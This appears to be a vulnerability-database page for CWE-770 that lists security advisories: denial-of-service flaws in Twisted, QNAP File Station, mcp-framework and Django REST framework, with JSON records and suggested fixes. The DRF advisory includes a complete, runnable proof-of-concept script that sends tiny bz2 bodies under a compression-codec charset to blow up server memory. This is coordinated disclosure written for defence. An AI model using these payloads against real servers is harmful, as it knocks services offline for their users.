Common Weakness Enumeration

CWE-770

Allowed

Allocation of Resources Without Limits or Throttling

Abstraction: Base · Status: Incomplete

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

4300 vulnerabilities reference this CWE, most recent first.

GHSA-3476-C5C2-FR73

Vulnerability from github – Published: 2026-10-23 20:45 – Updated: 2026-10-23 20:45
VLAI
Summary
Twisted: Unauthenticated Remote Denial of Service in the Twisted words domish XML Element Stream via an Unbounded Element Tree
Details

Summary

An allocation-without-limits vulnerability in the Twisted XML element stream lets any unauthenticated remote peer exhaust server memory over a single stream. When the peer opens a container element and streams child elements without ever closing the container, every element is materialised into an in-memory tree with no limit on depth or child count. An element is released only when its end tag arrives, so a container the attacker never closes retains everything beneath it until the process is killed.

Details

In ExpatElementStream._onStartElement, each start tag appends a new element to the current element's children and descends into it, with no depth or child-count check:

# src/twisted/words/xish/domish.py  (ExpatElementStream._onStartElement)
if self.documentStarted == 1:
    if self.currElem != None:
        self.currElem.children.append(e)   # append child: no depth/count cap
        e.parent = self.currElem
    self.currElem = e                      # descend into the new element

An element is emitted and dropped only when its end tag arrives while it sits directly under the document root, so a container that is never closed keeps every child beneath it. The transport XmlStream.dataReceived feeds bytes to self.stream.parse(data) with no size limit, and in XMPP the stream is parsed during negotiation before authentication.

Affected product: Twisted, twisted.words.xish.domish element stream Affected versions: confirmed against 26.4.0

PoC

On any endpoint that parses untrusted XML streams with this stack, such as an XMPP server, open a stream by sending the opening stream:stream tag and a container element, then stream child elements continuously and never send the container's closing tag. No credentials are required, because in XMPP the stream is parsed before authentication.

Every child is appended to the container and retained because the container is never emitted, and the transport applies no limit on the size of the unfinished document. Because each small element becomes a full object in memory the footprint is many times the traffic sent, so a modest-bandwidth peer, or several such streams, drives the process to memory exhaustion.

Impact

This is an unauthenticated remote denial of service by memory exhaustion. A single stream grows an in-memory element tree without bound, amplified by per-element object overhead, until the operating system kills the server. There is no confidentiality or integrity impact and no code execution. The affected surface is any deployment that parses untrusted XML streams with this stack, such as an XMPP server or component.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 26.4.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Twisted"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.10.0rc1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-115775"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-23T20:45:04Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAn allocation-without-limits vulnerability in the Twisted XML element stream lets any unauthenticated remote peer exhaust server memory over a single stream. When the peer opens a container element and streams child elements without ever closing the container, every element is materialised into an in-memory tree with no limit on depth or child count. An element is released only when its end tag arrives, so a container the attacker never closes retains everything beneath it until the process is killed.\n\n## Details\n\nIn `ExpatElementStream._onStartElement`, each start tag appends a new element to the current element\u0027s children and descends into it, with no depth or child-count check:\n\n```python\n# src/twisted/words/xish/domish.py  (ExpatElementStream._onStartElement)\nif self.documentStarted == 1:\n    if self.currElem != None:\n        self.currElem.children.append(e)   # append child: no depth/count cap\n        e.parent = self.currElem\n    self.currElem = e                      # descend into the new element\n```\n\nAn element is emitted and dropped only when its end tag arrives while it sits directly under the document root, so a container that is never closed keeps every child beneath it. The transport `XmlStream.dataReceived` feeds bytes to `self.stream.parse(data)` with no size limit, and in XMPP the stream is parsed during negotiation before authentication.\n\nAffected product: Twisted, `twisted.words.xish.domish` element stream\nAffected versions: confirmed against 26.4.0\n\n## PoC\n\nOn any endpoint that parses untrusted XML streams with this stack, such as an XMPP server, open a stream by sending the opening `stream:stream` tag and a container element, then stream child elements continuously and never send the container\u0027s closing tag. No credentials are required, because in XMPP the stream is parsed before authentication.\n\nEvery child is appended to the container and retained because the container is never emitted, and the transport applies no limit on the size of the unfinished document. Because each small element becomes a full object in memory the footprint is many times the traffic sent, so a modest-bandwidth peer, or several such streams, drives the process to memory exhaustion.\n\n## Impact\n\nThis is an unauthenticated remote denial of service by memory exhaustion. A single stream grows an in-memory element tree without bound, amplified by per-element object overhead, until the operating system kills the server. There is no confidentiality or integrity impact and no code execution. The affected surface is any deployment that parses untrusted XML streams with this stack, such as an XMPP server or component.",
  "id": "GHSA-3476-c5c2-fr73",
  "modified": "2026-10-23T20:45:04Z",
  "published": "2026-10-23T20:45:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/twisted/twisted/security/advisories/GHSA-3476-c5c2-fr73"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twisted/twisted/pull/12751"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twisted/twisted/commit/8873814bec8288e2466fad4d2c4d64039beb88b0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/twisted/twisted"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twisted/twisted/releases/tag/twisted-26.10.0rc1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Twisted: Unauthenticated Remote Denial of Service in the Twisted words domish XML Element Stream via an Unbounded Element Tree"
}

GHSA-34RF-84WQ-9PWQ

Vulnerability from github – Published: 2025-06-06 18:30 – Updated: 2025-06-06 18:30
VLAI
Details

An allocation of resources without limits or throttling vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.

We have already fixed the vulnerability in the following version: File Station 5 5.5.6.4847 and later

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-22484"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-06T16:15:24Z",
    "severity": "HIGH"
  },
  "details": "An allocation of resources without limits or throttling vulnerability has been reported to affect File Station 5. If a remote  attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.\n\nWe have already fixed the vulnerability in the following version:\nFile Station 5 5.5.6.4847 and later",
  "id": "GHSA-34rf-84wq-9pwq",
  "modified": "2025-06-06T18:30:31Z",
  "published": "2025-06-06T18:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22484"
    },
    {
      "type": "WEB",
      "url": "https://www.qnap.com/en/security-advisory/qsa-25-16"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-353C-V8X9-V7C3

Vulnerability from github – Published: 2026-04-16 20:44 – Updated: 2026-04-24 20:36
VLAI
Summary
MCP-Framework: Unbounded memory allocation in readRequestBody allows denial of service via HTTP transport
Details

Summary

The readRequestBody() function in src/transports/http/server.ts concatenates HTTP request body chunks into a string with no size limit, allowing a remote unauthenticated attacker to crash the server via memory exhaustion with a single large HTTP POST request.

Details

File: src/transports/http/server.ts, lines 224-240

private async readRequestBody(req: IncomingMessage): Promise<any> {
    return new Promise((resolve, reject) => {
      let body = '';
      req.on('data', (chunk) => {
        body += chunk.toString();   // No size limit
      });
      req.on('end', () => {
        try {
          const parsed = body ? JSON.parse(body) : null;
          resolve(parsed);
        } catch (error) {
          reject(error);
        }
      });
      req.on('error', reject);
    });
  }

A maxMessageSize configuration value exists in DEFAULT_HTTP_STREAM_CONFIG (4MB, defined in src/transports/http/types.ts line 124) but is never enforced in readRequestBody(). This creates a false sense of security.

PoC

Local testing with 50MB POST payloads against the vulnerable readRequestBody() function:

Trial Payload RSS growth Time Result
1 50MB +197MB 42ms Vulnerable
2 50MB +183MB 46ms Vulnerable
3 50MB +15MB 43ms Vulnerable
4 50MB +14MB 32ms Vulnerable
5 50MB +65MB 38ms Vulnerable

Reproducibility: 5/5 (100%)

Impact

  • Denial of Service: Any mcp-framework HTTP server can be crashed by a single large POST request to /mcp
  • No authentication required: readRequestBody() executes before any auth checks (auth is opt-in, default is no auth)
  • Dead config: maxMessageSize exists but is never enforced, giving a false sense of security
  • Affected: All applications using mcp-framework HttpStreamTransport (60,000 weekly npm downloads)

CWE-770: Allocation of Resources Without Limits or Throttling Suggested CVSS 3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Suggested Fix

Enforce maxMessageSize in readRequestBody():

private async readRequestBody(req: IncomingMessage): Promise<any> {
    const maxSize = this._config.maxMessageSize || 4 * 1024 * 1024;
    return new Promise((resolve, reject) => {
      let body = '';
      let size = 0;
      req.on('data', (chunk) => {
        size += chunk.length;
        if (size > maxSize) {
          req.destroy();
          reject(new Error('Request body too large'));
          return;
        }
        body += chunk.toString();
      });
      // ...
    });
  }

Disclosure Timeline

This report follows coordinated disclosure. I request a 90-day window before public disclosure.

Reporter: Raza Sharif, CyberSecAI Ltd (contact@agentsign.dev)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.21"
      },
      "package": {
        "ecosystem": "npm",
        "name": "mcp-framework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T20:44:32Z",
    "nvd_published_at": "2026-04-16T22:16:38Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `readRequestBody()` function in `src/transports/http/server.ts` concatenates HTTP request body chunks into a string with no size limit, allowing a remote unauthenticated attacker to crash the server via memory exhaustion with a single large HTTP POST request.\n\n### Details\n\n**File:** `src/transports/http/server.ts`, lines 224-240\n\n```typescript\nprivate async readRequestBody(req: IncomingMessage): Promise\u003cany\u003e {\n    return new Promise((resolve, reject) =\u003e {\n      let body = \u0027\u0027;\n      req.on(\u0027data\u0027, (chunk) =\u003e {\n        body += chunk.toString();   // No size limit\n      });\n      req.on(\u0027end\u0027, () =\u003e {\n        try {\n          const parsed = body ? JSON.parse(body) : null;\n          resolve(parsed);\n        } catch (error) {\n          reject(error);\n        }\n      });\n      req.on(\u0027error\u0027, reject);\n    });\n  }\n```\n\nA `maxMessageSize` configuration value exists in `DEFAULT_HTTP_STREAM_CONFIG` (4MB, defined in `src/transports/http/types.ts` line 124) but is never enforced in `readRequestBody()`. This creates a false sense of security.\n\n### PoC\n\nLocal testing with 50MB POST payloads against the vulnerable `readRequestBody()` function:\n\n| Trial | Payload | RSS growth | Time | Result |\n|-------|---------|-----------|------|--------|\n| 1 | 50MB | +197MB | 42ms | Vulnerable |\n| 2 | 50MB | +183MB | 46ms | Vulnerable |\n| 3 | 50MB | +15MB | 43ms | Vulnerable |\n| 4 | 50MB | +14MB | 32ms | Vulnerable |\n| 5 | 50MB | +65MB | 38ms | Vulnerable |\n\nReproducibility: 5/5 (100%)\n\n### Impact\n\n- **Denial of Service:** Any mcp-framework HTTP server can be crashed by a single large POST request to /mcp\n- **No authentication required:** readRequestBody() executes before any auth checks (auth is opt-in, default is no auth)\n- **Dead config:** maxMessageSize exists but is never enforced, giving a false sense of security\n- **Affected:** All applications using mcp-framework HttpStreamTransport (60,000 weekly npm downloads)\n\n**CWE-770:** Allocation of Resources Without Limits or Throttling\n**Suggested CVSS 3.1:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\n### Suggested Fix\n\nEnforce `maxMessageSize` in `readRequestBody()`:\n\n```typescript\nprivate async readRequestBody(req: IncomingMessage): Promise\u003cany\u003e {\n    const maxSize = this._config.maxMessageSize || 4 * 1024 * 1024;\n    return new Promise((resolve, reject) =\u003e {\n      let body = \u0027\u0027;\n      let size = 0;\n      req.on(\u0027data\u0027, (chunk) =\u003e {\n        size += chunk.length;\n        if (size \u003e maxSize) {\n          req.destroy();\n          reject(new Error(\u0027Request body too large\u0027));\n          return;\n        }\n        body += chunk.toString();\n      });\n      // ...\n    });\n  }\n```\n\n### Disclosure Timeline\n\nThis report follows coordinated disclosure. I request a 90-day window before public disclosure.\n\n**Reporter:** Raza Sharif, CyberSecAI Ltd (contact@agentsign.dev)",
  "id": "GHSA-353c-v8x9-v7c3",
  "modified": "2026-04-24T20:36:27Z",
  "published": "2026-04-16T20:44:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/QuantGeekDev/mcp-framework/security/advisories/GHSA-353c-v8x9-v7c3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39313"
    },
    {
      "type": "WEB",
      "url": "https://github.com/QuantGeekDev/mcp-framework/commit/f97d2bb76d6359faf10cd1fc54b4911476b62524"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/QuantGeekDev/mcp-framework"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MCP-Framework: Unbounded memory allocation in readRequestBody allows denial of service via HTTP transport"
}

GHSA-3547-9M27-7RXG

Vulnerability from github – Published: 2026-10-22 16:16 – Updated: 2026-10-22 16:16
VLAI
Summary
Django REST framework: JSONParser applies an attacker-named codec to the request stream
Details

Summary

An unauthenticated attacker can defeat Django's DATA_UPLOAD_MAX_MEMORY_SIZE limit and force a worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type charset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an amplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application configuration is required beyond DRF's default parser set; the endpoint only has to accept a JSON body.

Details

JSONParser.parse decodes the request body with the charset the client supplied on the Content-Type header:

# rest_framework/parsers.py
encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
    decoded_stream = codecs.getreader(encoding)(stream)
    parse_constant = json.strict_constant if self.strict else None
    return json.load(decoded_stream, parse_constant=parse_constant)
except ValueError as exc:
    raise ParseError('JSON parse error - %s' % str(exc))

Of the roughly 455 codec names codecs.lookup resolves on CPython 3.14, about 18 are byte transforms instead of character sets: bz2_codec, zlib_codec, base64_codec, hex_codec, quopri_codec, uu_codec and similar. codecs.getreader is the only entry point in the codecs module that does not consult CodecInfo._is_text_encoding, so it accepts all of them. Sending Content-Type: application/json; charset=bz2_codec wraps the request stream in a bz2 decompressor before json.load reads it.

The ordering is what makes this exploitable. Django charges DATA_UPLOAD_MAX_MEMORY_SIZE against the bytes that arrived on the wire: rest_framework/request.py hands JSONParser an io.BytesIO(self.body), and HttpRequest.body is where _check_data_too_big() runs. Decompression happens afterwards, inside the parser, where nothing is counting.

This is DRF's defect and not Django's. Django resolves the charset parameter and assigns request.encoding, and codecs.lookup does resolve byte transforms, but every Django consumer of request.encoding goes through the text-codec API and fails closed. Both bytes.decode('bz2_codec') and str(raw, 'bz2_codec') raise LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs. DRF is the only caller that hands the request stream to codecs.getreader.

FormParser (parsers.py:84) and MultiPartParser (parsers.py:104-118) take the same client-named encoding but fail closed instead of amplifying.

The sink was introduced by 9a228116 (PR #5147, 2017-05-24, "Improve memory footprint when reading large JSON requests"), first released in 3.6.4. The final comment on that PR observes the intended memory gain does not hold because read() decodes the whole stream, which is the same property that makes this expansion unbounded. No _is_text_encoding check has been added since.

A one-line fix at parsers.py:61-64:

if not codecs.lookup(encoding)._is_text_encoding:
    raise ParseError('Unsupported charset in Content-Type')

PoC

Save as poc_charset_amplification.py and run it. It builds its own payloads, runs each arm in a fresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports near-zero growth for every arm after the first), and prints a verdict.

#!/usr/bin/env python
"""
django-rest-framework: JSONParser applies an attacker-named codec to the request
stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.

Four arms, each in a fresh subprocess because peak RSS is a high-water mark and
measuring several arms in one process reports ~0 growth for every arm after the
first.

  T   ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec
  C1  48 MiB plaintext,   Content-Type: application/json   (no charset)
  C2  the byte-identical T body, charset=utf-8
  C3  zlib body, charset=zlib_codec

The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the
codec name and not the payload is what produces the expansion.

Requires: django, djangorestframework importable. No arguments, nothing to edit.
    python poc_charset_amplification.py
Exit status 0 means every arm behaved as described in the advisory.
"""
import hashlib
import json
import os
import subprocess
import sys
import tempfile

PAYLOAD_CHARS = 48 * 1024 * 1024
PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp")
LIMIT = 65536

ARMS = {
    "T": ("bz2.bin", "application/json; charset=bz2_codec"),
    "C1": ("plain.bin", "application/json"),
    "C2": ("bz2.bin", "application/json; charset=utf-8"),
    "C3": ("zlib.bin", "application/json; charset=zlib_codec"),
}
EXPECTED = {
    "T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes",
    "C1": "rejected with RequestDataTooBig, view body never runs",
    "C2": "HTTP 400 ParseError on the byte-identical compressed body",
    "C3": "HTTP 200, same expansion under a different codec name",
}
VIEW_RAN = []


def build_payloads():
    import bz2
    import zlib

    os.makedirs(PAYLOAD_DIR, exist_ok=True)
    plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}'
    blobs = {
        "plain.bin": plain,
        "bz2.bin": bz2.compress(plain, 9),
        "zlib.bin": zlib.compress(plain, 9),
    }
    for name, blob in blobs.items():
        with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh:
            fh.write(blob)
    return {name: len(blob) for name, blob in blobs.items()}


def configure_django():
    from django.conf import settings

    settings.configure(
        DEBUG=False,
        ALLOWED_HOSTS=["testserver"],
        SECRET_KEY="poc",
        ROOT_URLCONF=__name__,
        MIDDLEWARE=[],
        INSTALLED_APPS=[
            "django.contrib.contenttypes",
            "django.contrib.auth",
            "rest_framework",
        ],
        DATABASES={
            "default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}
        },
        DEFAULT_CHARSET="utf-8",
        DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,
        LOGGING_CONFIG=None,
        USE_TZ=True,
    )
    import django

    django.setup()


def build_view():
    from rest_framework.response import Response
    from rest_framework.views import APIView

    class Echo(APIView):
        authentication_classes = []
        permission_classes = []

        def post(self, request):
            data = request.data
            VIEW_RAN.append(True)
            value = data.get("a") if isinstance(data, dict) else None
            return Response(
                {"parsed_value_len": len(value) if isinstance(value, str) else None}
            )

    return Echo


def __getattr__(name):
    # ROOT_URLCONF points at this module; build urlpatterns lazily.
    if name == "urlpatterns":
        from django.urls import path

        value = [path("x", build_view().as_view())]
        globals()["urlpatterns"] = value
        return value
    raise AttributeError(name)


def peak_rss_kib():
    """Peak resident size of this process. /proc is used where available because
    ru_maxrss does not track the calling process on every kernel."""
    try:
        with open("/proc/self/status") as fh:
            for line in fh:
                if line.startswith("VmHWM:"):
                    return int(line.split(":")[1].strip().split()[0])
    except OSError:
        pass
    import resource

    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss


def run_arm(arm):
    payload_name, content_type = ARMS[arm]
    with open(os.path.join(PAYLOAD_DIR, payload_name), "rb") as fh:
        body = fh.read()

    configure_django()
    from django.test import Client, RequestFactory

    client = Client(raise_request_exception=False)
    # Warm every lazily imported module so the delta measures the request only.
    client.generic("POST", "/x", data=b'{"a":"A"}', content_type="application/json")
    VIEW_RAN.clear()

    before = peak_rss_kib()
    response = client.generic("POST", "/x", data=body, content_type=content_type)
    after = peak_rss_kib()

    parsed_len = None
    if response.status_code == 200:
        try:
            parsed_len = json.loads(response.content).get("parsed_value_len")
        except ValueError:
            pass

    # Second reading via a bare RequestFactory so the exception class is visible
    # directly instead of inferred from a status code.
    request = RequestFactory().generic(
        "POST", "/x", data=body, content_type=content_type
    )
    try:
        direct = {"status_code": build_view().as_view()(request).status_code}
    except BaseException as exc:  # noqa: BLE001 - naming the class is the point
        direct = {"exception": f"{type(exc).__module__}.{type(exc).__name__}"}

    return {
        "arm": arm,
        "content_type": content_type,
        "transmitted_bytes": len(body),
        "body_sha256": hashlib.sha256(body).hexdigest(),
        "status_code": response.status_code,
        "view_body_executed": bool(VIEW_RAN),
        "parsed_value_len": parsed_len,
        "amplification_ratio": round(parsed_len / len(body), 1) if parsed_len else None,
        "peak_rss_delta_mib": round((after - before) / 1024.0, 1),
        "direct_dispatch": direct,
    }


def check(arm, r):
    if arm in ("T", "C3"):
        return (
            r["status_code"] == 200
            and r["view_body_executed"]
            and r["parsed_value_len"] == PAYLOAD_CHARS
            and r["amplification_ratio"] >= 700
        )
    if arm == "C1":
        return (
            r["status_code"] != 200
            and not r["view_body_executed"]
            and r["direct_dispatch"].get("exception")
            == "django.core.exceptions.RequestDataTooBig"
        )
    if arm == "C2":
        return r["status_code"] == 400 and not r["view_body_executed"]
    raise AssertionError(arm)


def main():
    if "--arm" in sys.argv:
        print(json.dumps(run_arm(sys.argv[sys.argv.index("--arm") + 1])))
        return 0

    sizes = build_payloads()
    print(f"# payload sizes: {sizes}")
    print(f"# DATA_UPLOAD_MAX_MEMORY_SIZE = {LIMIT}")
    print(f"# JSON string value under test: {PAYLOAD_CHARS} characters\n")

    ok = True
    results = {}
    for arm in ("T", "C1", "C2", "C3"):
        proc = subprocess.run(
            [sys.executable, os.path.abspath(__file__), "--arm", arm],
            capture_output=True,
            text=True,
        )
        if proc.returncode != 0:
            print(f"{arm}: harness failed\n{proc.stderr}")
            return 2
        r = json.loads(proc.stdout.strip().splitlines()[-1])
        results[arm] = r
        passed = check(arm, r)
        ok = ok and passed
        print(f"=== {arm}  [{'as described' if passed else 'NOT as described'}]")
        print(f"    expected: {EXPECTED[arm]}")
        print(json.dumps(r, indent=6))
        print()

    print("=== summary")
    for arm, r in results.items():
        print(
            f"    {arm:3} wire={r['transmitted_bytes']:>9}B  status={r['status_code']}  "
            f"parsed_len={r['parsed_value_len']}  ratio={r['amplification_ratio']}  "
            f"peak_rss_delta={r['peak_rss_delta_mib']} MiB  view_ran={r['view_body_executed']}"
        )
    print(f"\n    T and C1 and C2: {'all held' if ok else 'NOT all held'}")
    return 0 if ok else 1


if __name__ == "__main__":
    sys.exit(main())

Observed output, abbreviated to the summary block:

# payload sizes: {'plain.bin': 50331656, 'bz2.bin': 108, 'zlib.bin': 48941}
# DATA_UPLOAD_MAX_MEMORY_SIZE = 65536
# JSON string value under test: 50331648 characters

=== summary
    T   wire=      108B  status=200  parsed_len=50331648  ratio=466033.8  peak_rss_delta=96.8 MiB  view_ran=True
    C1  wire= 50331656B  status=400  parsed_len=None      ratio=None      peak_rss_delta=48.3 MiB  view_ran=False
    C2  wire=      108B  status=400  parsed_len=None      ratio=None      peak_rss_delta=0.0 MiB   view_ran=False
    C3  wire=    48941B  status=200  parsed_len=50331648  ratio=1028.4    peak_rss_delta=95.2 MiB  view_ran=True

    T and C1 and C2: all held

C1 establishes that the size limit is live and configured, so the 200 in T is a defeated guard and not an absent one. C1 reports its own RSS growth because the client holds the 48 MiB body before the limit rejects it, which is client-side cost and never reaches the view. C2 carries most of the weight: its body is byte-identical to T, and only the codec name differs. RSS figures vary by a few MiB between runs.

Repeating all four arms on Django 5.2.17 LTS gave 109 wire bytes to 50,331,648 characters, 461,758x, with C1 and C2 both holding.

One note if you re-implement the request yourself: use Client.generic() or RequestFactory().generic(). Both Client.post() and RequestFactory.post() push the body through force_bytes(data, encoding=<charset>) (django/test/client.py:438-447), which destroys a compressed payload before the parser sees it.

Impact

Unauthenticated denial of service through memory amplification, against any endpoint that accepts a JSON body with the default parser set. Every deployment on 3.6.4 or later is affected, and no application code or configuration choice opts into it. Memory is per-request and released afterwards, which is why this is rated on availability alone rather than as Critical, but the amplification factor means a small number of concurrent requests can exhaust a worker. A few hundred bytes allocates hundreds of megabytes, and nothing in DRF or Django bounds the expanded size.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "djangorestframework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.6.4"
            },
            {
              "fixed": "3.18.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-114136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-22T16:16:09Z",
    "nvd_published_at": "2026-10-21T20:17:25Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn unauthenticated attacker can defeat Django\u0027s `DATA_UPLOAD_MAX_MEMORY_SIZE` limit and force a\nworker process to allocate arbitrary memory, by naming a compression codec in the Content-Type\ncharset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an\namplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application\nconfiguration is required beyond DRF\u0027s default parser set; the endpoint only has to accept a JSON\nbody.\n\n### Details\n\n`JSONParser.parse` decodes the request body with the charset the client supplied on the Content-Type\nheader:\n\n```python\n# rest_framework/parsers.py\nencoding = parser_context.get(\u0027encoding\u0027, settings.DEFAULT_CHARSET)\ntry:\n    decoded_stream = codecs.getreader(encoding)(stream)\n    parse_constant = json.strict_constant if self.strict else None\n    return json.load(decoded_stream, parse_constant=parse_constant)\nexcept ValueError as exc:\n    raise ParseError(\u0027JSON parse error - %s\u0027 % str(exc))\n```\n\nOf the roughly 455 codec names `codecs.lookup` resolves on CPython 3.14, about 18 are byte transforms\ninstead of character sets: `bz2_codec`, `zlib_codec`, `base64_codec`, `hex_codec`, `quopri_codec`,\n`uu_codec` and similar. `codecs.getreader` is the only entry point in the `codecs` module that does\nnot consult `CodecInfo._is_text_encoding`, so it accepts all of them. Sending\n`Content-Type: application/json; charset=bz2_codec` wraps the request stream in a bz2 decompressor\nbefore `json.load` reads it.\n\nThe ordering is what makes this exploitable. Django charges `DATA_UPLOAD_MAX_MEMORY_SIZE` against the\nbytes that arrived on the wire: `rest_framework/request.py` hands `JSONParser` an\n`io.BytesIO(self.body)`, and `HttpRequest.body` is where `_check_data_too_big()` runs. Decompression\nhappens afterwards, inside the parser, where nothing is counting.\n\nThis is DRF\u0027s defect and not Django\u0027s. Django resolves the charset parameter and assigns\n`request.encoding`, and `codecs.lookup` does resolve byte transforms, but every Django consumer of\n`request.encoding` goes through the text-codec API and fails closed. Both `bytes.decode(\u0027bz2_codec\u0027)`\nand `str(raw, \u0027bz2_codec\u0027)` raise\n`LookupError: \u0027bz2_codec\u0027 is not a text encoding; use codecs.decode() to handle arbitrary codecs`.\nDRF is the only caller that hands the request stream to `codecs.getreader`.\n\n`FormParser` (`parsers.py:84`) and `MultiPartParser` (`parsers.py:104-118`) take the same client-named\nencoding but fail closed instead of amplifying.\n\nThe sink was introduced by `9a228116` (PR #5147, 2017-05-24, \"Improve memory footprint when reading\nlarge JSON requests\"), first released in 3.6.4. The final comment on that PR observes the intended\nmemory gain does not hold because `read()` decodes the whole stream, which is the same property that\nmakes this expansion unbounded. No `_is_text_encoding` check has been added since.\n\nA one-line fix at `parsers.py:61-64`:\n\n```python\nif not codecs.lookup(encoding)._is_text_encoding:\n    raise ParseError(\u0027Unsupported charset in Content-Type\u0027)\n```\n\n### PoC\n\nSave as `poc_charset_amplification.py` and run it. It builds its own payloads, runs each arm in a\nfresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports\nnear-zero growth for every arm after the first), and prints a verdict.\n\n```python\n#!/usr/bin/env python\n\"\"\"\ndjango-rest-framework: JSONParser applies an attacker-named codec to the request\nstream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.\n\nFour arms, each in a fresh subprocess because peak RSS is a high-water mark and\nmeasuring several arms in one process reports ~0 growth for every arm after the\nfirst.\n\n  T   ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec\n  C1  48 MiB plaintext,   Content-Type: application/json   (no charset)\n  C2  the byte-identical T body, charset=utf-8\n  C3  zlib body, charset=zlib_codec\n\nThe claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the\ncodec name and not the payload is what produces the expansion.\n\nRequires: django, djangorestframework importable. No arguments, nothing to edit.\n    python poc_charset_amplification.py\nExit status 0 means every arm behaved as described in the advisory.\n\"\"\"\nimport hashlib\nimport json\nimport os\nimport subprocess\nimport sys\nimport tempfile\n\nPAYLOAD_CHARS = 48 * 1024 * 1024\nPAYLOAD_DIR = os.path.join(tempfile.gettempdir(), \"drf-charset-amp\")\nLIMIT = 65536\n\nARMS = {\n    \"T\": (\"bz2.bin\", \"application/json; charset=bz2_codec\"),\n    \"C1\": (\"plain.bin\", \"application/json\"),\n    \"C2\": (\"bz2.bin\", \"application/json; charset=utf-8\"),\n    \"C3\": (\"zlib.bin\", \"application/json; charset=zlib_codec\"),\n}\nEXPECTED = {\n    \"T\": \"HTTP 200, parsed value orders of magnitude larger than the wire bytes\",\n    \"C1\": \"rejected with RequestDataTooBig, view body never runs\",\n    \"C2\": \"HTTP 400 ParseError on the byte-identical compressed body\",\n    \"C3\": \"HTTP 200, same expansion under a different codec 